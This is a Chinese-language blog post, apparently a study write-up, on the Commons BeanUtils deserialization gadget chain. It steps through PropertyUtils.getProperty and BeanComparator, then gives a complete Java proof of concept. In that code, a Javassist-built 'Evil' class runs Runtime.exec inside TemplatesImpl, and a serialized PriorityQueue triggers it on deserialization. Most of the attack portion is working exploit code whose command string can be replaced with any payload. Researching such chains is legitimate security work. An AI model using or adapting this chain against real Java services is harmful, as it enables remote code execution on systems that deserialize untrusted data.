Apache Commons BeanUtils 反序列化链子 (CB链) 学习

Apache Commons BeanUtils

环境搭建

  <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.9.4</version>
        </dependency>

image-20220416150822209

demo

import org.apache.commons.beanutils.PropertyUtils;

import java.lang.reflect.InvocationTargetException;

public class person
{
    private String name = "catalina";

    public void setName(String name)
    {
        this.name = name;
    }

    public String getName()
    {
        return name;
    }

    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException
    {
        person person1 = new person();
        System.out.println(PropertyUtils.getProperty(person1, "name"));
    }
}

image-20220416151617493

试图理由它调用任意函数执行命令

PropertyUtils.getProperty

调试

image-20220416151726495

进入getProperty

image-20220416151819191

进入getNestedProperty

image-20220416153421481

getSimpleProperty

image-20220416152138875

经过 getPropertyDescriptor

image-20220416153734250

可以看到,我们传入的是 name ,这里返回 Bean 属性值是 Name ,并且 set 方法与 get 方法都是 setName , getName ,这是 JavaBean 的命名格式,会将传进来的小写首字母大写

关于javaBean的一些知识[什么是JavaBean? - JYRoy - 博客园 (cnblogs.com)](https://www.cnblogs.com/jyroy/p/11102298.html#:~:text= JavaBeans是Java中一种特殊的类,可以将多个对象封装到一个对象(bean)中。,特点是可序列化,提供无参构造器,提供getter方法和setter方法访问对象的属性。 名称中的“Bean”是用于Java的可重用软件组件的惯用叫法。)

之后来到involk

image-20220416153849680

invoke调用

getTemplatesImpl

cc

从cc的构造中,我们学习了getTemplatesImpl,如下 两者结合

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class exp {

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));

    }
}

image-20220416155018222

注意因为之前说的 J JavaBean 特性, OutputProperties 首字母要小写

之后寻找哪里调用了PropertyUtils.getProperty

看到是

        BeanComparator.compare

image-20220416155313960

o1可以直接传入。property在构造函数这里

image-20220416155621577

poc

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

//        System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));

        BeanComparator outputProperties = new BeanComparator("outputProperties");
        outputProperties.compare(templates,new TemplatesImpl());

    }

image-20220416160630371

从优先队列到TransformingComparator

所以只差一个反序列化的readObject,会想起之前cc4的优先队列有调用过compare,可以再碰碰运气

image-20220416155908933

cc4的poc回顾

    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})

        };

        ChainedTransformer chainedTransformer = new  ChainedTransformer(transformers);
        //chainedTransformer.transform(1);
        TransformingComparator ioTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

        //以下是优先队列的使用
        PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c = ioTransformingComparator.getClass();
        Field field = c.getDeclaredField("transformer");
        field.setAccessible(true);
        field.set(ioTransformingComparator,chainedTransformer);

        //serialize(priorityQueue);
        unserialize("ser.bin");

两者结合一下,中间一不小心还漏了点东西

完整poc

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import sun.misc.Unsafe;

import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;

public class person {

    public  static  void  serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public  static  Object  unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

    public static void setValue(Object target, String name, Object value) throws Exception {
        Class c = target.getClass();
        Field field = c.getDeclaredField(name);
        field.setAccessible(true);
        field.set(target,value);
    }

    public static byte[] getTemplatesImpl(String cmd) {
        try {
            ClassPool pool = ClassPool.getDefault();
            CtClass ctClass = pool.makeClass("Evil");
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
            ctClass.setSuperclass(superClass);
            CtConstructor constructor = ctClass.makeClassInitializer();
            constructor.setBody(" try {\n" +
                    " Runtime.getRuntime().exec(\"" + cmd +
                    "\");\n" +
                    " } catch (Exception ignored) {\n" +
                    " }");
            byte[] bytes = ctClass.toBytecode();
            ctClass.defrost();
            return bytes;
        } catch (Exception e) {
            e.printStackTrace();
            return new byte[]{};
        }
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = new TemplatesImpl();
        setValue(templates,"_name", "aaa");

        byte[] code = getTemplatesImpl("calc");
        byte[][] bytecodes = {code};
        setValue(templates, "_bytecodes", bytecodes);
        setValue(templates,"_tfactory", new TransformerFactoryImpl());

//        System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));

        BeanComparator outputProperties = new BeanComparator("outputProperties");
//        outputProperties.compare(templates,new TemplatesImpl());

        TransformingComparator ioTransformingComparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(templates);

        setValue(priorityQueue, "comparator", outputProperties);

        serialize(priorityQueue);
        unserialize("ser.bin");

    }
}

image-20220416162710851

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇